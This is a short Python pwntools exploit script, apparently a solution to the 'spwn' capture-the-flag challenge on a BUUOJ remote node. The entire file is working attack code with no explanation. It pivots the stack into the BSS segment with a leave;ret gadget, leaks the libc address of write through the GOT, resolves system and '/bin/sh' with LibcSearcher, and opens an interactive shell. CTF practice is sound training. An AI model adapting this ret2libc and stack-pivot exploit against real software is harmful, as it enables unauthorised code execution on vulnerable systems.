```
from pwn import *
from LibcSearcher import *

context(log_level='debug')
#io = process('./spwn')
io = remote('node4.buuoj.cn',27847)
elf = ELF('spwn')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x8048513
bss_addr = 0x804A300
leave_ret = 0x8048469  #leave = mov esp,ebp ; pop ebp

payload = p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.recvuntil('What is your name?')
io.send(payload)
io.recvuntil('What do you want to say?')
payload = 'a'*24 + p32(bss_addr-4)+p32(leave_ret)
io.send(payload)

libc_addr = u32(io.recv(4))
print(hex(libc_addr))
libc = LibcSearcher('write',libc_addr)
libc_base = libc_addr -libc.dump('write')
sys = libc.dump('system') + libc_base
string = libc.dump('str_bin_sh') + libc_base

io.recvuntil('What is your name?')
payload = p32(sys)+p32(main)+p32(string)
io.send(payload)
io.recvuntil('What do you want to say?')
payload = 'a'*24 + p32(bss_addr-4)+p32(leave_ret)
io.send(payload)

io.interactive()
```